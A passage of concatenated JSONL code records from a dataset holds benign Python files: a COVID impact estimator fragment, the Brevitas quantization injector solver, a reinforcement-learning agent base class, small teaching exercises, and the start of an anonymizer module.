convert_week_to_days(data.get('timeToElapse', 1))\n elif periodtype == 'months':\n requested_days = convert_month_to_days(data.get('timeToElapse', 1))\n\n covid_estimator = CovidEstimator(days=requested_days)\n covid_estimator.set_currently_infected(data.get('reportedCases', 0))\n\n output_data['impact']['currentlyInfected'] = covid_estimator.get_currently_infected()\n output_data['severeImpact']['currentlyInfected'] = covid_estimator.get_currently_infected(\n severe=True)\n\n output_data['impact']['infectionsByRequestedTime'] = covid_estimator.get_estimated_infections_for_days()\n output_data['severeImpact']['infectionsByRequestedTime'] = covid_estimator.get_estimated_infections_for_days(\n severe=True)\n\n output_data['impact']['severeCasesByRequestedTime'] = covid_estimator.estimate_cases_requires_hospital()\n output_data['severeImpact']['severeCasesByRequestedTime'] = covid_estimator.estimate_cases_requires_hospital(\n severe=True)\n\n output_data['impact']['hospitalBedsByRequestedTime'] = covid_estimator.get_available_hospital_beds(\n data.get('totalHospitalBeds', 1))\n output_data['severeImpact']['hospitalBedsByRequestedTime'] = covid_estimator.get_available_hospital_beds(\n data.get('totalHospitalBeds', 1), severe=True)\n\n output_data['impact']['casesForICUByRequestedTime'] = covid_estimator.get_estimated_ICU_cases()\n output_data['severeImpact']['casesForICUByRequestedTime'] = covid_estimator.get_estimated_ICU_cases(\n severe=True)\n\n output_data['impact']['casesForVentilatorsByRequestedTime'] = covid_estimator.get_estimated_ventilator_cases()\n output_data['severeImpact']['casesForVentilatorsByRequestedTime'] = covid_estimator.get_estimated_ventilator_cases(\n severe=True)\n\n average_income = data['region'].get('avgDailyIncomeInUSD', 1)\n average_income_population = data['region'].get(\n 'avgDailyIncomePopulation', .00)\n output_data['impact']['dollarsInFlight'] = covid_estimator.estimated_economic_money_loss(\n average_income, average_income_population)\n output_data['severeImpact']['dollarsInFlight'] = covid_estimator.estimated_economic_money_loss(\n average_income, average_income_population, severe=True)\n\n return output_data\n","sub_path":"src/estimator.py","file_name":"estimator.py","file_ext":"py","file_size_in_byte":3000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"202106117","text":"# Copyright (c) 2018- Xilinx, Inc (Alessandro Pappalardo)\n# Copyright (c) 2016- Facebook, Inc (Adam Paszke)\n# Copyright (c) 2014- Facebook, Inc (Soumith Chintala)\n# Copyright (c) 2011-2014 Idiap Research Institute (Ronan Collobert)\n# Copyright (c) 2012-2014 Deepmind Technologies (Koray Kavukcuoglu)\n# Copyright (c) 2011-2012 NEC Laboratories America (Koray Kavukcuoglu)\n# Copyright (c) 2011-2013 NYU (Clement Farabet)\n# Copyright (c) 2006-2010 NEC Laboratories America (Ronan Collobert, Leon Bottou, Iain Melvin, Jason Weston)\n# Copyright (c) 2006 Idiap Research Institute (Samy Bengio)\n# Copyright (c) 2001-2004 Idiap Research Institute (Ronan Collobert, Samy Bengio, Johnny Mariethoz)\n\n# All rights reserved.\n\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n\n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n\n# 3. Neither the names of Xilinx, Facebook, Deepmind Technologies, NYU,\n# NEC Laboratories America and IDIAP Research Institute nor the names\n# of its contributors may be used to endorse or promote products derived\n# from this software without specific prior written permission.\n\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n\nfrom typing import List\nfrom functools import partial\n\nfrom dependencies import this, value\nfrom torch import nn\n\nfrom brevitas.core.quant import *\nfrom brevitas.core.function_wrapper import RoundSte, CeilSte, FloorSte, TensorClamp, TensorClampSte\nfrom brevitas.core.function_wrapper import StatsInputViewShapeImpl\nfrom brevitas.core.scaling import *\nfrom brevitas.core.restrict_val import *\nfrom brevitas.core.bit_width import *\nfrom brevitas.core.quant import QuantType\nfrom brevitas.core.stats import *\nfrom brevitas.core.scaling import ScalingImplType, SCALAR_SHAPE\nfrom brevitas.core.utils import StatelessBuffer\nfrom brevitas.proxy.utils import ConvertRuntimeStatsToParameter\nfrom . import BaseInjector as Injector\n\n\nclass EvaluateScalingInitImpl(Injector):\n\n @value\n def scaling_init(scaling_init_impl):\n scaling_init = scaling_init_impl()\n if isinstance(scaling_init, Tensor):\n return scaling_init.detach()\n else:\n return torch.tensor(scaling_init)\n\n\nclass ParameterFromStatsScalingInit:\n\n def __init__(self, parameter_stats_scaling: StatsFromParameterScaling):\n self.parameter_stats_scaling = parameter_stats_scaling\n self.ignored = StatelessBuffer(torch.tensor(0.0))\n\n def __call__(self):\n inp = self.ignored()\n return self.parameter_stats_scaling(inp)\n\n\nclass HeScalingInit:\n\n def __init__(self, tracked_parameter_list: List[torch.nn.Parameter]):\n self.tracked_parameter_list = tracked_parameter_list\n\n def __call__(self):\n scaling_init = 0.0\n # takes average of He scaling over parameter list\n for param in self.tracked_parameter_list:\n two_dim_param = param.view(param.shape[0], -1)\n scaling_init += math.sqrt(2.0 / two_dim_param.shape[1])\n scaling_init /= len(self.tracked_parameter_list)\n return torch.tensor(scaling_init)\n\n\nclass MinMaxScalingInit:\n\n def __init__(self, min_val: float, max_val: float):\n self.scaling_init = torch.tensor(max(abs(float(min_val)), abs(float(max_val))))\n\n def __call__(self):\n return self.scaling_init\n\n\ndef filter_kwargs(kwargs_prefix, kwargs: dict):\n return {k[len(kwargs_prefix):]: v for (k, v) in kwargs.items() if k.startswith(kwargs_prefix)}\n\n\ndef _check_name_value(qi, name, value):\n return name in qi and getattr(qi, name) == value\n\n\ndef _solve_attr(qi, value, solved_value, name: str, solved_key: str = None):\n if _check_name_value(qi, name, value):\n if not isinstance(solved_value, dict):\n assert solved_key is not None\n qi = qi.let(**{solved_key: solved_value})\n else:\n qi = qi.let(**solved_value)\n return qi\n\n\ndef _solve_bias_quant_type(qi):\n name = 'quant_type'\n solver = partial(_solve_attr, name=name)\n qi = solver(qi, QuantType.FP, {'tensor_quant': None})\n if _check_name_value(qi, name, QuantType.INT):\n if 'bit_width' in qi and 'scaling_impl' not in qi:\n qi = qi.let(**{'tensor_quant': PrescaledRestrictIntQuant,\n 'int_quant': IntQuant})\n elif 'bit_width' in qi and 'scaling_impl' in qi:\n qi = qi.let(**{'tensor_quant': RescalingIntQuant,\n 'int_quant': IntQuant})\n else:\n qi = qi.let(**{'tensor_quant': PrescaledRestrictIntQuantWithInputBitWidth,\n 'int_quant': IntQuant})\n return qi\n\n\ndef _solve_bit_width_impl_type(qi):\n solver = partial(_solve_attr, name='bit_width_impl_type', solved_key='bit_width_impl')\n qi = solver(qi, BitWidthImplType.CONST, BitWidthConst)\n qi = solver(qi, BitWidthImplType.PARAMETER, BitWidthParameter)\n return qi\n\n\ndef _solve_bias_bit_width_impl_type(qi):\n if 'bit_width' in qi:\n qi = qi.let(requires_input_bit_width=False)\n if 'bit_width' in qi and 'bit_width_impl_type' not in qi: # retrocomp. TODO deprecate\n qi = qi.let(bit_width_impl_type=BitWidthImplType.CONST)\n elif 'bit_width' not in qi and 'bit_width_impl_type' not in qi:\n qi = qi.let(**{'bit_width_impl': IdentityBitWidth, 'requires_input_bit_width': True})\n qi = _solve_bit_width_impl_type(qi)\n return qi\n\n\ndef _solve_bit_width_impl_override(qi):\n if 'bit_width_impl_override' in qi: # TODO: deprecate\n return qi.let(**{'bit_width_impl': qi.bit_width_impl_override})\n return qi\n\n\ndef _solve_quant_type(qi, binary_quant_impl):\n solver = partial(_solve_attr, name='quant_type')\n qi = solver(qi, QuantType.FP, {'tensor_quant': None})\n qi = solver(qi, QuantType.BINARY,\n {'tensor_quant': binary_quant_impl, 'signed': True, 'narrow_range': False})\n qi = solver(qi, QuantType.TERNARY,\n {'tensor_quant': TernaryQuant, 'signed': True, 'narrow_range': True})\n qi = solver(qi, QuantType.INT, {'tensor_quant': RescalingIntQuant, 'int_quant': IntQuant})\n return qi\n\n\ndef _solve_weight_quant_type(qi):\n qi = _solve_quant_type(qi, binary_quant_impl=BinaryQuant)\n return qi\n\n\ndef _solve_act_quant_type(qi):\n qi = _solve_quant_type(qi, binary_quant_impl=ClampedBinaryQuant)\n return qi\n\n\ndef _solve_scaling_stats_op(qi):\n solver = partial(_solve_attr, name='scaling_stats_op', solved_key='scaling_stats_impl')\n qi = solver(qi, StatsOp.MAX, AbsMax)\n qi = solver(qi, StatsOp.MAX_AVE, AbsMaxAve)\n qi = solver(qi, StatsOp.AVE, AbsAve)\n qi = solver(qi, StatsOp.MEAN_SIGMA_STD, MeanSigmaStd)\n qi = solver(qi, StatsOp.MEAN_LEARN_SIGMA_STD, MeanLearnedSigmaStd)\n qi = solver(qi, StatsOp.PERCENTILE, AbsPercentile)\n if 'scaling_stats_sigma' in qi:\n qi = qi.let(sigma=this.scaling_stats_sigma)\n return qi\n\n\ndef _solve_scaling_override(qi):\n solver = partial(_solve_attr, name='scaling_impl_type', solved_key='scaling_impl')\n if 'scaling_override' in qi: # TODO: deprecate\n qi = solver(qi, ScalingImplType.OVERRIDE, qi.scaling_override)\n return qi\n\n\ndef _solve_weight_scaling_impl_type(qi):\n solver = partial(_solve_attr, name='scaling_impl_type', solved_key='scaling_impl')\n qi = solver(qi, ScalingImplType.PARAMETER, ParameterScaling)\n qi = solver(qi, ScalingImplType.PARAMETER_FROM_STATS, ParameterScaling)\n qi = solver(qi, ScalingImplType.CONST, ConstScaling)\n qi = solver(qi, ScalingImplType.HE, ConstScaling)\n qi = solver(qi, ScalingImplType.STATS,\n {'scaling_impl': StatsFromParameterScaling, 'affine_rescaling': False})\n qi = solver(qi, ScalingImplType.AFFINE_STATS,\n {'scaling_impl': StatsFromParameterScaling, 'affine_rescaling': True})\n return qi\n\n\ndef _solve_act_scaling_impl_type(qi):\n solver = partial(_solve_attr, name='scaling_impl_type', solved_key='scaling_impl')\n qi = solver(qi, ScalingImplType.PARAMETER, ParameterScaling)\n qi = solver(qi, ScalingImplType.CONST, ConstScaling)\n qi = solver(qi, ScalingImplType.PARAMETER_FROM_STATS, ParameterFromRuntimeStatsScaling)\n qi = solver(qi, ScalingImplType.STATS,\n {'scaling_impl': RuntimeStatsScaling, 'affine_rescaling': False})\n qi = solver(qi, ScalingImplType.AFFINE_STATS,\n {'scaling_impl': RuntimeStatsScaling, 'affine_rescaling': True})\n return qi\n\n\ndef _solve_restrict_scaling_type(qi):\n solver = partial(_solve_attr, name='restrict_scaling_type')\n qi = solver(qi, RestrictValueType.FP,\n {'restrict_scaling_impl': FloatRestrictValue,\n 'int_scaling_impl': FloatIntScaling})\n qi = solver(qi, RestrictValueType.LOG_FP,\n {'restrict_scaling_impl': LogFloatRestrictValue,\n 'int_scaling_impl': FloatIntScaling})\n qi = solver(qi, RestrictValueType.POWER_OF_TWO,\n {'restrict_scaling_impl': PowerOfTwoRestrictValue,\n 'int_scaling_impl': PowerOfTwoIntScaling})\n return qi\n\n\ndef _solve_restrict_bit_width_type(qi):\n solver = partial(\n _solve_attr, name='restrict_bit_width_type', solved_key='restrict_bit_width_impl')\n qi = solver(qi, RestrictValueType.FP, FloatRestrictValue)\n qi = solver(qi, RestrictValueType.LOG_FP, LogFloatRestrictValue)\n qi = solver(qi, RestrictValueType.INT, IntRestrictValue)\n qi = solver(qi, RestrictValueType.POWER_OF_TWO, PowerOfTwoRestrictValue)\n return qi\n\n\ndef _solve_float_to_int_impl(qi, solver):\n qi = solver(qi, FloatToIntImplType.ROUND, RoundSte)\n qi = solver(qi, FloatToIntImplType.FLOOR, FloorSte)\n qi = solver(qi, FloatToIntImplType.CEIL, CeilSte)\n return qi\n\n\ndef _solve_restrict_value_float_to_int_impl(qi):\n impl = 'restrict_value_float_to_int_impl'\n impl_type = 'restrict_value_float_to_int_impl_type'\n solver = partial(_solve_attr, name=impl_type, solved_key=impl)\n if not impl in qi and not impl_type in qi:\n qi = qi.let(**{impl_type: FloatToIntImplType.ROUND})\n qi = _solve_float_to_int_impl(qi, solver)\n return qi\n\n\ndef _solve_tensor_quant_float_to_int_impl(qi):\n impl = 'float_to_int_impl'\n impl_type = 'float_to_int_impl_type'\n solver = partial(_solve_attr, name=impl_type, solved_key=impl)\n if not impl in qi and not impl_type in qi:\n qi = qi.let(**{impl_type: FloatToIntImplType.ROUND}) # for retrocomp, TODO deprecate\n qi = _solve_float_to_int_impl(qi, solver)\n return qi\n\n\ndef _solve_weight_tensor_clamp_impl(qi):\n impl = 'tensor_clamp_impl'\n already_set = impl in qi\n if not already_set:\n if _check_name_value(qi, 'bit_width_impl_type', BitWidthImplType.PARAMETER):\n qi = qi.let(**{impl: TensorClamp})\n elif _check_name_value(qi, 'scaling_impl_type', ScalingImplType.PARAMETER_FROM_STATS):\n qi = qi.let(**{impl: TensorClamp})\n elif _check_name_value(qi, 'scaling_impl_type', ScalingImplType.PARAMETER):\n qi = qi.let(**{impl: TensorClamp})\n else:\n qi = qi.let(**{impl: TensorClampSte})\n return qi\n\n\ndef _solve_act_tensor_clamp_impl(qi):\n impl = 'tensor_clamp_impl'\n already_set = impl in qi\n if not already_set:\n qi = qi.let(**{impl: TensorClamp})\n return qi\n\n\ndef _solve_scaling_shape(qi, spoc, per_channel_shape_attr):\n name = 'scaling_shape'\n if name not in qi:\n if spoc: qi = qi.let(**{name: per_channel_shape_attr})\n if not spoc: qi = qi.let(**{name: SCALAR_SHAPE})\n return qi\n\n\ndef _solve_scaling_stats_reduce_dim(qi, spoc, ma):\n name = 'stats_reduce_dim'\n if name not in qi:\n if spoc or ma: qi = qi.let(**{name: SCALING_STATS_REDUCE_DIM})\n else: qi = qi.let(**{name: None})\n return qi\n\n\ndef _solve_scaling_stats_input_view_shape_impl(qi, spoc, ma):\n name = 'scaling_stats_input_view_shape_impl'\n if name not in qi:\n if spoc or ma: qi = qi.let(**{name: StatsInputViewShapeImpl.OVER_OUTPUT_CHANNELS})\n else: qi = qi.let(**{name: StatsInputViewShapeImpl.OVER_TENSOR})\n return qi\n\n\ndef _solve_scaling_shapes_dims(qi, per_channel_shape_attr):\n if 'scaling_per_channel' in qi: # act\n qi = qi.let(scaling_per_output_channel=this.scaling_per_channel)\n spoc = _check_name_value(qi, 'scaling_per_output_channel', True)\n ma = _check_name_value(qi, 'scaling_stats_op', StatsOp.MAX_AVE)\n qi = _solve_scaling_shape(qi, spoc, per_channel_shape_attr)\n qi = _solve_scaling_stats_reduce_dim(qi, spoc, ma)\n qi = _solve_scaling_stats_input_view_shape_impl(qi, spoc, ma)\n return qi\n\n\ndef _solve_weight_scaling_shapes_dims(qi):\n qi = _solve_scaling_shapes_dims(qi, this.scaling_per_output_channel_shape)\n return qi\n\n\ndef _solve_act_scaling_shapes_dims(qi):\n qi = _solve_scaling_shapes_dims(qi, this.per_channel_broadcastable_shape)\n return qi\n\n\ndef _solve_weight_scaling_init_impl(qi):\n name = 'scaling_impl_type'\n if _check_name_value(qi, name, ScalingImplType.CONST):\n qi = qi.let(scaling_init=this.scaling_const)\n if _check_name_value(qi, name, ScalingImplType.PARAMETER):\n qi = qi.let(scaling_init=this.scaling_const)\n if _check_name_value(qi, name, ScalingImplType.PARAMETER_FROM_STATS):\n qi = qi & EvaluateScalingInitImpl\n qi = qi.let(scaling_init_impl=ParameterFromStatsScalingInit)\n qi = qi.let(parameter_stats_scaling=StatsFromParameterScaling)\n elif _check_name_value(qi, name, ScalingImplType.HE):\n qi = qi & EvaluateScalingInitImpl\n qi = qi.let(scaling_init_impl=HeScalingInit)\n return qi\n\n\ndef _solve_act_scaling_init_impl(qi):\n name = 'scaling_impl_type'\n qi = qi & EvaluateScalingInitImpl\n p = _check_name_value(qi, name, ScalingImplType.PARAMETER)\n c = _check_name_value(qi, name, ScalingImplType.CONST)\n signed = _check_name_value(qi, 'signed', True)\n if not signed:\n qi = qi.let(min_val=0)\n if p or c:\n qi = qi.let(scaling_init_impl=MinMaxScalingInit)\n return qi\n\n\ndef _solve_act_scaling_conversion(qi):\n if _check_name_value(qi, 'scaling_impl_type', ScalingImplType.PARAMETER):\n qi = qi.let(update_state_dict_impl=ConvertRuntimeStatsToParameter)\n return qi\n\n\ndef _solve_enum_based_quant_weight_api(qi):\n qi = _solve_weight_quant_type(qi)\n qi = _solve_scaling_stats_op(qi)\n qi = _solve_weight_scaling_impl_type(qi)\n qi = _solve_restrict_scaling_type(qi)\n qi = _solve_bit_width_impl_type(qi)\n qi = _solve_restrict_bit_width_type(qi)\n qi = _solve_bit_width_impl_override(qi)\n qi = _solve_scaling_override(qi)\n qi = _solve_tensor_quant_float_to_int_impl(qi)\n qi = _solve_restrict_value_float_to_int_impl(qi)\n qi = _solve_weight_tensor_clamp_impl(qi)\n qi = _solve_weight_scaling_shapes_dims(qi)\n qi = _solve_weight_scaling_init_impl(qi)\n return qi\n\n\ndef _solve_enum_based_quant_bias_api(qi):\n qi = _solve_scaling_stats_op(qi)\n qi = _solve_weight_scaling_impl_type(qi)\n qi = _solve_restrict_scaling_type(qi)\n qi = _solve_weight_scaling_shapes_dims(qi)\n qi = _solve_weight_scaling_init_impl(qi)\n qi = _solve_restrict_value_float_to_int_impl(qi)\n qi = qi.let(requires_input_scale='scaling_impl' not in qi)\n qi = _solve_bias_quant_type(qi)\n qi = _solve_bias_bit_width_impl_type(qi)\n qi = _solve_tensor_quant_float_to_int_impl(qi)\n if 'tensor_clamp_impl' not in qi:\n qi = qi.let(tensor_clamp_impl=TensorClamp)\n return qi\n\n\ndef _solve_enum_based_quant_act_api(qi):\n qi = _solve_act_quant_type(qi)\n qi = _solve_bit_width_impl_override(qi)\n qi = _solve_bit_width_impl_type(qi)\n qi = _solve_restrict_bit_width_type(qi)\n qi = _solve_tensor_quant_float_to_int_impl(qi)\n qi = _solve_scaling_stats_op(qi)\n qi = _solve_scaling_override(qi)\n qi = _solve_restrict_scaling_type(qi)\n qi = _solve_restrict_value_float_to_int_impl(qi)\n qi = _solve_act_tensor_clamp_impl(qi)\n qi = _solve_act_scaling_impl_type(qi)\n qi = _solve_act_scaling_shapes_dims(qi)\n qi = _solve_act_scaling_init_impl(qi)\n qi = _solve_act_scaling_conversion(qi)\n return qi\n\n\ndef _update_act_impl(qi):\n # retrocompatibility TODO deprecate\n min_val_set = 'min_val' in qi\n max_val_set = 'max_val' in qi\n signed_set = 'signed' in qi\n quant_type_fp = _check_name_value(qi, 'quant_type', QuantType.FP)\n unsigned_attrs = {'min_val': 0.0, 'signed': False}\n if isinstance(qi.act_impl, nn.ReLU) and not min_val_set and not signed_set:\n qi = qi.let(**unsigned_attrs)\n elif isinstance(qi.act_impl, nn.Sigmoid) and not min_val_set and not max_val_set and not signed_set:\n qi = qi.let(max_val_set=1.0, **unsigned_attrs)\n elif isinstance(qi.act_impl, nn.Tanh) and not min_val_set and not signed_set:\n qi = qi.let({'signed': True, 'min_val': -1.0, 'max_val': 1.0})\n elif isinstance(qi.act_impl, nn.Hardtanh) and not quant_type_fp:\n qi = qi.let(act_impl=None)\n return qi\n\n\ndef update_act_quant_injector(\n act_layer: Module,\n act_quant_injector: Injector,\n prefix: str,\n **kwargs):\n qi = act_quant_injector.let(**filter_kwargs(prefix, kwargs))\n qi = _update_act_impl(qi)\n qi = _solve_enum_based_quant_act_api(qi)\n return qi\n\n\ndef _update_from_weight_layer(qi, weight_layer):\n per_channel_brodcast_shape = [1] * len(weight_layer.weight.size())\n per_channel_brodcast_shape[weight_layer.output_channel_dim] = weight_layer.out_channels\n qi = qi.let(scaling_per_output_channel_shape=tuple(per_channel_brodcast_shape))\n qi = qi.let(scaling_stats_input_concat_dim=weight_layer.output_channel_dim)\n return qi\n\n\ndef _update_from_bias_layer(qi, bias_layer):\n per_channel_brodcast_shape = (bias_layer.out_channels,)\n qi = qi.let(scaling_per_output_channel_shape=tuple(per_channel_brodcast_shape))\n qi = qi.let(scaling_stats_input_concat_dim=bias_layer.output_channel_dim)\n return qi\n\n\ndef update_weight_quant_injector(\n weight_layer: Module,\n weight_quant_injector: Injector,\n prefix: str,\n **kwargs):\n qi = weight_quant_injector.let(**filter_kwargs(prefix, kwargs))\n qi = _update_from_weight_layer(qi, weight_layer)\n qi = _solve_enum_based_quant_weight_api(qi)\n return qi\n\n\ndef update_bias_quant_injector(\n bias_layer: Module,\n bias_quant_injector: Injector,\n prefix: str,\n **kwargs):\n qi = bias_quant_injector.let(**filter_kwargs(prefix, kwargs))\n qi = _update_from_bias_layer(qi, bias_layer)\n qi = _solve_enum_based_quant_bias_api(qi)\n return qi\n\n\ndef _solve_bit_width_to_remove_impl(qi, name):\n key = 'bit_width_to_remove_impl'\n solver = partial(_solve_attr, name=name, solved_key=key)\n qi = solver(qi, BitWidthImplType.CONST, BitWidthConst)\n qi = solver(qi, BitWidthImplType.PARAMETER, RemoveBitwidthParameter)\n return qi\n\n\ndef _solve_trunc_quant_type(qi):\n solver = partial(_solve_attr, name='quant_type', solved_key='tensor_quant')\n qi = solver(qi, QuantType.FP, None)\n qi = solver(qi, QuantType.INT, TruncIntQuant)\n return qi\n\n\ndef _solve_trunc_float_to_int_impl_type(qi):\n impl = 'float_to_int_impl'\n impl_type = 'float_to_int_impl_type'\n solver = partial(_solve_attr, name=impl_type, solved_key=impl)\n qi = _solve_float_to_int_impl(qi, solver)\n return qi\n\n\ndef _solve_enum_based_quant_trunc_api(qi):\n qi = _solve_trunc_quant_type(qi)\n qi = _solve_bit_width_impl_type(qi)\n qi = _solve_trunc_float_to_int_impl_type(qi)\n return qi\n\n\ndef update_trunc_quant_injector(\n trunc_layer: Module,\n trunc_quant_injector: Injector,\n prefix: str,\n **kwargs):\n qi = trunc_quant_injector.let(**filter_kwargs(prefix, kwargs))\n qi = _solve_enum_based_quant_trunc_api(qi)\n return qi\n\n\ndef _solve_clamp_quant_type(qi):\n solver = partial(_solve_attr, name='quant_type')\n qi = solver(qi, QuantType.FP, {'tensor_quant': None, 'msb_clamp_bit_width_impl': None})\n qi = solver(qi, QuantType.INT,\n {'tensor_quant': PrescaledRestrictIntQuantWithInputBitWidth,\n 'bit_width_impl': MsbClampBitWidth})\n return qi\n\n\ndef _solve_msb_clamp_bit_width_impl_type(qi):\n name = 'msb_clamp_bit_width_impl_type'\n qi = _solve_bit_width_to_remove_impl(qi, name)\n return qi\n\n\ndef _solve_enum_based_quant_clamp_api(qi):\n qi = _solve_clamp_quant_type(qi)\n qi = _solve_msb_clamp_bit_width_impl_type(qi)\n if 'tensor_clamp_impl' not in qi:\n qi = qi.let(tensor_clamp_impl=TensorClamp)\n if 'float_to_int_impl' not in qi: # this really shouldn't be up for change\n qi = qi.let(float_to_int_impl=RoundSte)\n return qi\n\n\ndef update_clamp_quant_injector(\n clamp_layer: Module,\n clamp_quant_injector: Injector,\n prefix: str,\n **kwargs):\n qi = clamp_quant_injector.let(**filter_kwargs(prefix, kwargs))\n qi = _solve_enum_based_quant_clamp_api(qi)\n return qi\n\n\n","sub_path":"brevitas/inject/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":22068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"496146407","text":"import numpy as np\nfrom pys.utils.ER import ReplayMemory\nfrom pys.utils.PER import ProportionalPrioritizedMemory\nfrom pys.utils.HER import HindsightMemory\n\nclass BaseAgent:\n def __init__(self, env:object, cfg:dict):\n self.state_size = env.observation_space.shape[0]\n self.action_size= env.action_space.shape[0]\n self.action_min = env.action_space.low[0]\n self.action_max = env.action_space.high[0]\n self.env_name = cfg[\"ENV\"]\n self.rl_type = cfg[\"RL\"][\"ALGORITHM\"]\n self.er_type = cfg[\"ER\"].upper()\n self.filename = cfg[\"ENV\"] + '_' + cfg[\"RL\"][\"ALGORITHM\"] + '_' + cfg[\"ER\"]\n\n # Experience Replay\n self.batch_size = cfg[\"BATCH_SIZE\"]\n self.train_start = cfg[\"TRAIN_START\"]\n self.buffer_size = cfg[\"MEMORY_SIZE\"]\n if self.er_type == \"ER\":\n self.memory = ReplayMemory(capacity=self.buffer_size)\n elif self.er_type == \"PER\":\n self.memory = ProportionalPrioritizedMemory(capacity=self.buffer_size)\n elif self.er_type == \"HER\":\n self.memory = HindsightMemory(\\\n capacity = self.buffer_size,\\\n replay_n = cfg[\"HER\"][\"REPLAY_N\"],\\\n replay_strategy = cfg[\"HER\"][\"STRATEGY\"],\\\n reward_func = cfg[\"HER\"][\"REWARD_FUNC\"],\\\n done_func = cfg[\"HER\"][\"DONE_FUNC\"])\n self.filename = cfg[\"ENV\"] + '_' + cfg[\"RL\"][\"ALGORITHM\"] + '_' + cfg[\"ER\"] + '_' + cfg[\"HER\"][\"STRATEGY\"]\n\n def get_action(self,state):\n NotImplementedError\n\n def remember(self, state, action, reward, next_state, done, goal=None):\n state = np.array(state, dtype=np.float32)\n action = np.array(action, dtype=np.float32)\n reward = np.array([reward], dtype=np.float32)\n done = np.array([done], dtype=np.float32)\n next_state = np.array(next_state, dtype=np.float32)\n if self.er_type == \"HER\":\n goal = np.array(goal, dtype=np.float32)\n transition = (state, action, reward, next_state, done, goal)\n else:\n transition = (state, action, reward, next_state, done)\n self.memory.append(transition)\n return\n\n def train_model(self):\n NotImplementedError\n\n def load_model(self,at):\n '''\n Load pre-trained model\n '''\n NotImplementedError\n\n def save_model(self,at):\n '''\n Save trained model\n '''\n NotImplementedError\n \n def hard_update_target_model(self):\n NotImplementedError\n\n def soft_update_target_model(self):\n NotImplementedError","sub_path":"pys/agent/base_agent.py","file_name":"base_agent.py","file_ext":"py","file_size_in_byte":2713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"350952238","text":"'''Escribir un programa que pregunte al usuario su nombre, edad,\ndirección y teléfono y lo guarde en un dic. Después debe mostrar por\npantalla el mensaje tiene años, vive en \ny su número de teléfono es\n.'''\n\n\ndef logica():\n\n dic = {'Nombre': '', 'Edad': '', 'Direccion': '', 'Telefono': ''}\n\n for palabra in dic:\n dic[palabra] = input(\"\\nIngrese su \"+palabra+\":\")\n\n print(dic[\"Nombre\"]+\" tiene \"+dic[\"Edad\"]+\" anos, vive en \" +\n dic[\"Direccion\"] + \" y su numero de telefono es \"+dic[\"Telefono\"])\n\n\nlogica()\n","sub_path":"58004-Cercasi-Javier/tp1/Ejercicio9.py","file_name":"Ejercicio9.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"260463076","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.12-x86_64/egg/hdfs_kernel/utils/tools.py\n# Compiled at: 2020-01-16 03:10:17\n# Size of source mod 2**32: 403 bytes\nimport math\n\ndef convert_size_readable(size_bytes):\n if size_bytes == 0:\n return '0B'\n else:\n size_name = ('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB')\n i = int(math.floor(math.log(size_bytes, 1024)))\n p = math.pow(1024, i)\n s = round(size_bytes / p, 2)\n return '%s %s' % (s, size_name[i])","sub_path":"pycfiles/jupyter_hdfs_kernel-1.0.2-py3.6/tools.cpython-36.py","file_name":"tools.cpython-36.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"605649705","text":"#Python functions\n\n\ndef add_numbers(x,y):\n return x + y\nprint(\"x+y:\", add_numbers(1,2))\n\n#add_numbers updated to take an optional 3rd parameter.\ndef add_numbers(x,y,z=None):\n if(z==None):\n return(x+y)\n else:\n return x+y+z\n\nprint(\"x+y:\", add_numbers(1,2))\nprint(\"x+y+z\",add_numbers(1,2,3))\n\n#add_numbers updated to take an optional flag parameter.\ndef add_numbers(x, y, z=None, flag=False):\n if (flag):\n print('Flag is true!')\n if (z==None):\n return x + y\n else:\n return x + y + z\n\nprint(add_numbers(1, 2, flag=True))\n\n#Assign function `add_numbers` to variable `a`.\ndef add_numbers(x,y):\n return x+y\n\na = add_numbers\nprint(\"function to variable:\", a(1,2))\n","sub_path":"Week1/week1_lecture.py","file_name":"week1_lecture.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"150619629","text":"import collections\n\nfrom faker import Faker\nimport warnings\nimport readers\nimport writers\nimport utils\nimport json\nimport logging\n\nfrom fakers import geo_point, geo_point_key, ipv4, file_path, message, message_key, service_name, username\n\n\nclass AnonymizerError(Exception):\n pass\n\n\nclass ReaderError(Exception):\n pass\n\n\nclass WriterError(Exception):\n pass\n\n\nclass 